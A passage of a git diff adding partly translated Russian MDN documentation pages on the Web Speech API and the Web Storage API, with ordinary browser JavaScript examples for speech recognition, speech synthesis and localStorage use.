Contains information about the current state of {{domxref("SpeechSynthesisUtterance")}} objects that have been processed in the speech service.
+
{{domxref("SpeechSynthesisUtterance")}}
+
Represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)
+
+ +
+
{{domxref("SpeechSynthesisVoice")}}
+
Represents a voice that the system supports. Every SpeechSynthesisVoice has its own relative speech service including information about language, name and URI.
+
{{domxref("Window.speechSynthesis")}}
+
Specced out as part of a [NoInterfaceObject] interface called SpeechSynthesisGetter, and Implemented by the Window object, the speechSynthesis property provides access to the {{domxref("SpeechSynthesis")}} controller, and therefore the entry point to speech synthesis functionality.
+
+ +

Примеры

+ +

Web Speech API репозиторий на GitHub содержит примеры, показывающие распознавание и синтез речи.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Speech API')}}{{Spec2('Web Speech API')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(33)}}[1]{{CompatVersionUnknown}}{{CompatGeckoDesktop(49)}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}2.5{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ + + +

Firefox OS permissions

+ +

To use speech recognition in an app, you need to specify the following permissions in your manifest:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

You also need a privileged app, so you need to include this as well:

+ +
  "type": "privileged"
+ +

Speech synthesis needs no permissions to be set.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html new file mode 100644 index 0000000000..f869af47d3 --- /dev/null +++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -0,0 +1,416 @@ +--- +title: Применение Web Speech API +slug: Web/API/Web_Speech_API/Using_the_Web_Speech_API +tags: + - API + - Web Speech API + - Воспроизведение речи + - Распознавание речи + - Синтез речи +translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API +--- +

Web Speech API предоставляет 2 основных типа функционала — распознавание речи пользователя и речевое воспроизведение текста. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.

+ +

Распознавание речи

+ +

Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс SpeechGrammar, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью JSpeech Grammar Format(JSGF.).

+ +

После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.

+ +
+

Внимание: В Chrome распознавание речи на веб-странице завязано на взаимодействие с сервером. Ваш звук отправляется на веб-службу для обработки распознавания, поэтому приложение не будет работать в оффлайн-режиме.

+
+ +

Демо

+ +

Для запуска демо достаточно перейти по ссылке на приложение или скачать репозиторий, установить зависимости (npm install) и запустить приложение (npm run start), после чего открыть localhost:4001 в браузере.

+ +

+ +

после озвучки команды

+ +

+ +

Браузерная поддержка

+ +

Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

+ + + +

Традиционно, самая актуальная информация по поддержке чего-либо в браузерах на caniuse.

+ +

HTML и CSS

+ +

Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.

+ +

CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах

+ +

JavaScript

+ +

А вот на реализацию логики давайте обратим более пристальное внимание.

+ +

Поддержка Chrome 

+ +

Как уже упоминалось ранее, в настоящее время Chrome поддерживает интерфейс распознавания речи с указанными префиксами, поэтому в начале нашего кода мы включаем строки префиксов для использования нужных объектов в Chrome и ссылки на объекты без префиксов для Firefox.

+ +
const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
+const SpeechGrammarList = window.SpeechGrammarList || window.webkitSpeechGrammarList;
+const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpeechRecognitionEvent;
+
+ +

Грамматика

+ +

Следующая часть нашего кода определяет грамматику, которую мы хотим, применять для поиска соответствий.

+ +

Определяем следующие переменные:

+ +
const colors = {
+  красный: 'red',
+  оранжевый: 'orange',
+  желтый: 'yellow',
+  зеленый: 'green',
+  голубой: 'blue',
+  синий: 'darkblue',
+  фиолетовый: 'violet'
+};
+
+const colorsList = Object.keys(colors);
+
+const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsList.join(' | ') + ' ;';
+
+Формат “грамматики“ используемой нами - это JSpeech Grammar Format (JSGF) - по ссылке можете почитать про это больше.
+ +

Быстро пробежимся по основным принципам:

+ + + +

Подключение грамматики к нашему распознаванию речи

+ +

Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.

+ +

Это делается с помощью конструктора SpeechRecognition(). Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор SpeechGrammarList().

+ +
const recognition = new SpeechRecognition();
+const speechRecognitionList = new SpeechGrammarList();
+ +

Добавляем нашу “грамматику” в список, используя метод SpeechGrammarList.addFromString(). Он принимает в качестве параметров строку, плюс необязательное значение веса, которое указывает важность этой грамматики по отношению к другим грамматикам, доступным в списке (может быть от 0 до 1 включительно). Добавленная грамматика доступна в списке как экземпляр объекта SpeechGrammar.

+ +
speechRecognitionList.addFromString(grammar, 1);
+
+ +

Затем мы добавляем SpeechGrammarList к уже созданному объекту распознавания речи, присваивая его значение свойству SpeechRecognition.grammars. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:

+ + + +
recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'ru-RU';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+ +
+

Внимание:  SpeechRecognition.continuous задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.

+ +

Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.

+
+ +

Запуск распознавания речи

+ +

После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик onclick, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции SpeechRecognition.start().

+ +
microphoneIcon.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+};
+
+recognition.onaudiostart = function() {
+  microphoneWrapper.style.visibility = 'hidden';
+  audioRecordAnimation.style.visibility = 'visible';
+};
+
+ +

Получение и обработка результата

+ +

После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. Список обработчиков событий SpeechRecognition.) Наиболее распространенный, который вы, вероятно, и будете использовать, это SpeechRecognition.onresult, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции getColor()

+ +
function getColor(speechResult) {
+  for (let index = 0; index < colorsList.length; index += 1) {
+    if (speechResult.indexOf(colorsList[index]) !== -1) {
+      const colorKey = colorsList[index];
+      return [colorKey, colors[colorKey]];
+    }
+  }
+  return null;
+}
+
+recognition.onresult = function(event) {
+  const last = event.results.length - 1;
+  const colors = getColor(event.results[last][0].transcript);
+  recognitionTextResult.textContent = 'Результат: ' + colors[0];
+  speechRecognitionSection.style.backgroundColor = colors[1];
+  console.log('Confidence: ' + event.results[0][0].confidence);
+};
+ +

Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство SpeechRecognitionEvent.results возвращает объект SpeechRecognitionResultList, содержащий в себе другие объекты типа SpeechRecognitionResult. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная last определяет ссылку на SpeechRecognitionResult из списка. Каждый объект SpeechRecognitionResult содержит объекты SpeechRecognitionAlternative, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение SpeechRecognitionAlternative по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.

+ +

Мы также используем свойство SpeechRecognition.speechend, чтобы задать обработчик на завершение работы распознавателя речи (вызов SpeechRecognition.stop() ), как только одно слово было распознано, и входящий речевой поток был остановлен.

+ +
recognition.onspeechend = function() {
+  recognition.stop();
+  microphoneWrapper.style.visibility = 'visible';
+  audioRecordAnimation.style.visibility = 'hidden';
+};
+
+
+ +

Обработка ошибок

+ +

Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, SpeechRecognition.onnomatch, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:

+ +
recognition.onnomatch = function(event) {
+  alert("I didn't recognise that color.");
+};
+ +

SpeechRecognition.onerror обрабатывает случаи, когда имела место быть фактическая ошибка при распознавании. Свойство SpeechRecognitionError.error содержит возвращаемую фактическую ошибку:

+ +
recognition.onerror = function(event) {
+  alert(`Error occurred in recognition: ${event.error}`);
+};
+
+ +

Синтез речи

+ +

Синтез речи (text-to-speech или tts) подразумевает получение синтезированного текста приложения и его речевое воспроизведение.
+
+ Для этой цели Web Speech API предоставляет интерфейс - SpeechSynthesis - плюс ряд близких интерфейсов для нужного нам воспроизведения текста (utterances - “дикция”), набор голосов, которыми приложение будет “говорить”, и т. д.
+ Опять же, большинство ОС имеют некоторые встроенные системы синтеза речи, которые будут задействованы нашим API для этой цели.

+ +

Демо

+ +

То же самое приложение из предыдущего примера.
+ Ccылка на приложение или репозиторий (клонируем, затем npm install && npm run start в терминале, после чего открыть localhost:4001 в браузере).
+
+ Пользовательский интерфейс включает в себя набор элементов для ввода текста, задания высоты тона, скорости воспроизведения и непосредственного выбора голоса, которым будет текст произнесен.

+ +

После ввода текста вы можете нажать Play для запуска.

+ +

+ +

Браузерная поддержка

+ +

Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:

+ + + + + +

HTML и CSS

+ +

HTML и CSS снова достаточно тривиальны.
+ Заголовок и форму с некоторыми простыми элементами управления.
+ Элемент <select> изначально пуст, но заполняется с помощью <option> через JavaScript (см. ниже).

+ +

CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах

+ +
<section>
+  <h1>Синтез речи</h1>
+  <p>Введите текст в поле ниже и нажмите кнопку "Play", чтобы прослушать запись. Выбирайте возможные голоса из списка ниже</p>
+
+  <form>
+    <input type="text" class="text">
+    <div class="row">
+      <div class="values-box">
+        <div class="value-box">
+          <div>Темп (Rate)</div>
+          <div class="value value--rate-value">1</div>
+        </div>
+
+        <div class="value-box">
+          <div>Диапазон (Pitch)</div>
+          <div class="value value--pitch-value">1</div>
+        </div>
+      </div>
+
+      <div class="ranges-box">
+        <input type="range" min="0.5" max="2" value="1" step="0.1" id="rate">
+        <input type="range" min="0" max="2" value="1" step="0.1" id="pitch">
+      </div>
+    </div>
+
+    <select>
+    </select>
+
+    <button id="play" type="submit">Play</button>
+
+  </form>
+ +

JavaScript

+ +

Давайте более детально рассмотрим скрипт, задающий логику нашему приложения.

+ +

Задание переменных

+ +

Прежде всего, создаем ссылки на все нужные нам DOM-элементы.

+ +

Входная точка API - window.speechSynthesis, возвращает экземпляр SpeechSynthesis, интерфейс контроллера для синтеза речи в вебе.

+ +
const synth = window.speechSynthesis;
+const inputForm = document.querySelector('form');
+const inputTxt = document.querySelector('.text');
+const voicesList = document.querySelector('select');
+const pitch = document.querySelector('#pitch');
+const pitchValue = document.querySelector('.value--pitch-value');
+const rate = document.querySelector('#rate');
+const rateValue = document.querySelector('.value--rate-value');
+let voices = [];
+ +

Заполнение выпадающего списка

+ +

Чтобы заполнить элемент <select> различными вариантами голоса, доступных на устройстве, напишем функцию populateVoiceList(). Сначала мы вызываем SpeechSynthesis.getVoices(), который возвращает список всех доступных вариантов голосов, представленных объектами SpeechSynthesisVoice. Затем мы проходимся по списку, создавая элемент <option> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из SpeechSynthesisVoice.name), языка голоса (из SpeechSynthesisVoice.lang), и  “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция SpeechSynthesisVoice.default возвращает значение true.)

+ +

Мы также задаем data- атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<select>).

+ +
function populateVoiceList() {
+  voices = synth.getVoices();
+  const selectedIndex =
+  voicesList.selectedIndex < 0 ? 0 : voicesList.selectedIndex;
+  voicesList.innerHTML = '';
+
+  for(i = 0; i < voices.length ; i++) {
+    const option = document.createElement('option');
+    option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+
+    if(voices[i].default) {
+      option.textContent += ' -- DEFAULT';
+    }
+
+    option.setAttribute('data-lang', voices[i].lang);
+    option.setAttribute('data-name', voices[i].name);
+    voiceSelect.appendChild(option);
+  }
+  voicesList.selectedIndex = selectedIndex;
+}
+ +

Когда мы собираемся запустить функцию, мы делаем следующее. Это связано с тем, что Firefox не поддерживает свойство SpeechSynthesis.onvoiceschanged и будет только возвращать список голосов при запуске SpeechSynthesis.getVoices(). Однако, в Chrome вам нужно дождаться триггера события перед заполнением списка, следовательно, нужно условие, описанное в блоке с if ниже.

+ +
populateVoiceList();
+  if (speechSynthesis.onvoiceschanged !== undefined) {
+  speechSynthesis.onvoiceschanged = populateVoiceList;
+}
+ +

Озвучка введенного текста

+ +

Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку Enter/Return или на Play. Для этого используем обработчик onsubmit в html-формы. В функции-обработчике speak() мы создаем новый экземпляр SpeechSynthesisUtterance(), передавая значение текстового поля в конструктор.

+ +

Затем нам нужно выяснить, какой голос использовать. Мы используем свойство HTMLSelectElement selectedOptions для получения выбранного элемента <option>, у которого берем атрибут data-name, и находим объект SpeechSynthesisVoice, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства SpeechSynthesisUtterance.voice.

+ +

Наконец, мы устанавливаем SpeechSynthesisUtterance.pitch (высота тона) и SpeechSynthesisUtterance.rate (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая SpeechSynthesis.speak(), и передавая ему экземпляр SpeechSynthesisUtterance в качестве аргумента.

+ +

Внутри функции speak() мы выполняем проверку на то, воспроизводится ли речь в данный момент, с помощью свойства SpeechSynthesis.speaking 
+ Если да, то останавливаем процесс функцией SpeechSynthesis.cancel() и запускаем рекурсивно заново.

+ +

В последней части функции мы включаем обработчик SpeechSynthesisUtterance.onpause, чтобыпоказать пример применения SpeechSynthesisEvent в различных ситуациях. Вызов SpeechSynthesis.pause() возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.

+ +

Наконец, мы назовем blur() у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.

+ +
function speak() {
+  if (synth.speaking) {
+    console.error('speechSynthesis.speaking');
+    synth.cancel();
+    setTimeout(speak, 300);
+  } else if (inputTxt.value !== '') {
+      const utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+      utterThis.onend = function(event) {
+        console.log('SpeechSynthesisUtterance.onend');
+      };
+
+      utterThis.onerror = function(event) {
+        console.error('SpeechSynthesisUtterance.onerror');
+      };
+      const selectedOption = voicesList.selectedOptions[0].getAttribute('data-name');
+
+      for (i = 0; i < voices.length; i++) {
+        if (voices[i].name === selectedOption) {
+          utterThis.voice = voices[i];
+        }
+      }
+
+      utterThis.onpause = function(event) {
+        const char = event.utterance.text.charAt(event.charIndex);
+        console.log('Speech paused at character ' +
+          event.charIndex +
+          ' of "' +
+          event.utterance.text +
+          '", which is "' +
+          char +
+          '".'
+        );
+      };
+
+      utterThis.pitch = pitch.value;
+      utterThis.rate = rate.value;
+      synth.speak(utterThis);
+    }
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+  speak();
+  inputTxt.blur();
+};
+
+ +

Обновление отображаемых значений высоты тона и скорости

+ +

Последний пример кода просто обновляет значения высоты тона/скорости, отображаемые в пользовательском интерфейсе, каждый раз, когда позиции ползунка перемещаются.

+ +
pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+};
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+};
+
diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..79f5954012 --- /dev/null +++ b/files/ru/web/api/web_storage_api/index.html @@ -0,0 +1,146 @@ +--- +title: Веб хранилище (API) +slug: Web/API/Web_Storage_API +translation_of: Web/API/Web_Storage_API +--- +

Web Storage API предоставляет механизмы, при помощи которых браузеры могут безопасно хранить пары ключ/значение в более интуитивно понятной манере, чем куки (cookies).

+ +

Основы Веб хранилища и его использование

+ +

В основе Веб хранилища лежат два механизма: 

+ + + +

Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorage и WindowSessionStorage, которые содержат свойства localStorage и sessionStorage) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. 

+ +
+

Замечание: Начиная с версии 45 Firefox, когда браузер крашится/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.

+
+ +
+

Замечание: Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь отключил cookies третьих сторон (Firefox ведёт себя так с версии 43).

+
+ +
+

Замечание: Web Storage это не тоже самое, что mozStorage (Mozilla's XPCOM интерфейсы для SQLite) или Session store API (XPCOM утилита хранения для расширений).

+
+ +

Интерфейсы Веб хранилища

+ +
+
{{domxref("Storage")}}
+
Позволяет присваивать, извлекать (читать) и удалять данные для специфического домена и типа хранилща (сессии или локального).
+
{{domxref("Window")}}
+
Web Storage API расширяет {{domxref("Window")}} объект, добавляя к нему два новых свойства  — {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} — которые предоставляют доступ к сессии текущего домена и к соответствующим локальным {{domxref("Storage")}} объектам, и {{domxref("Window.onstorage")}} обработчик событий, который срабатывает при изменении объекта хранилища (например, при сохранении нового элемента)
+
{{domxref("StorageEvent")}}
+
Событие storage срабатывает на объекте документа Window при изменении объекта хранилища.
+
+ +

Примеры

+ +

Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его Web Storage Demo. На лендинге нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мнгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. 

+ +

Также, мы сделали страницу вывода событий, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая иформация.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ФункцияChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ФункцияAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

У каждого браузера свои объемы localStorage и sessionStorage. Здесь об ограничениях размеров хранилищ для разных браузеров.

+ +
+

Замечание:  Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.

+
+ +

Приватный режим/Инкогнито

+ +

Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.

+ +

Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.

+ +

Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на этот пост блога WHATWG, специонально посвященный этой теме.

+ +

Смотрите также

+ + + +

 

+ +

 

diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html new file mode 100644 index 0000000000..584cacef31 --- /dev/null +++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html @@ -0,0 +1,242 @@ +--- +title: Использование Web Storage API +slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API +translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API +--- +
+

Web Storage API предоставляет механизм, при помощи которого браузер может безопасно хранить пары ключей/значениий в намного более интуитивной форме, чем используя cookies. Эта статья предоставляет пошаговое руководство о том, как использовать эту простую технологию.

+
+ +

Основные концепции

+ +

Storage объекты простые хранилища вида ключ-значение, похожие чем-то на объекты, но они остаются неизменными при загрузке страницы.  Ключи и значения всегда являются строками (обратите внимание, что числовые ключи будут автоматически конвертироваться в строку, точно также как объекты).  Вы можете получить доступ к этим значениям как в объектах, или getItem() и setItem() методами.  Все три строки ниже устанавливают одинаковое значение в  colorSetting:

+ +
localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+
+ +

В основе Веб хранилища лежат два механизма:

+ + + +

Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект Window  выполняет объекты WindowLocalStorageи WindowSessionStorage, которые содержат свойства localStorageи sessionStorage) — вызов одного из них создает экземляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать sessionStorage и localStorage поэтому они используются и управляются раздельно 

+ +

Так, например, изначально вызов localStorage в документе возвращает {{domxref("Storage")}} объект; вызов sessionStorage в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.

+ +

Функция обнаружения localStorage

+ +

Чтобы использовать localStorage, мы должны сперва проверить, что localStorage поддерживается и доступно в текущем браузере.

+ +

Проверка на наличие

+ +

Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. 

+ +

Функция, которая проверяет браузеры на подержку и доступность localStorage:

+ +
function storageAvailable(type) {
+	try {
+		var storage = window[type],
+			x = '__storage_test__';
+		storage.setItem(x, x);
+		storage.removeItem(x);
+		return true;
+	}
+	catch(e) {
+		return false;
+	}
+}
+ +

Вот как вы бы могли использовать это:

+ +
if (storageAvailable('localStorage')) {
+	// Yippee! We can use localStorage awesomeness
+}
+else {
+	// Too bad, no localStorage for us
+}
+ +

Вы можете протестировать sessionStorage вместо этого используйте storageAvailable('sessionStorage')Смотрите здесь краткую историю функции-обнаружения localStorage

+ +

Пример

+ +

Чтобы проилюстрировать типичное использование Web storage, мы создали простой пример, назвав его Web Storage Demo. На целевой странице представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:

+ +

Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.

+ +

Мы также предоставили страницу вывода событий - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.

+ +

+ +
+

Примечание: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также просмотреть исходный код.

+
+ +

Проверка на заполненность хранилища

+ +

Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+ +

Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем populateStorage(), чтобы добавить значение по-умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.
+ Примечание: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.

+ +

Получение данных из Storage

+ +

Как было отмечено выше, значения хранилища могут быть извлечены используя {{domxref("Storage.getItem()")}}. В качестве аргумента функция принимает значение ключа элемента хранилища, а возвращает значение этого элемента. Например:

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +

Первые три строки извлекают значения элементов локального хранилища. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.

+ +

Setting values in storage

+ +

{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+ +

The populateStorage() function sets three items in local storage — the background color, font, and image path. It then runs the setStyles() function to update the page styles, etc.

+ +

We've also included an onchange handler on each form element, so that the data and styling is updated whenever a form value is changed:

+ +
bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;
+ +

Responding to storage changes with the StorageEvent

+ +

The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object. This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.

+ +

On the events page (see events.js) the only JavaScript is as follows:

+ +
window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = e.storageArea;
+});
+ +

Here we add an event listener to the window object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself.

+ +

Удаление записанных данных

+ +

Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:

+ + + +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Storage')}}{{Spec2('Web Storage')}}
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a detailed rundown of all the storage capacities for various browsers.

+ +
+

Note: since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.

+
+ +

See also

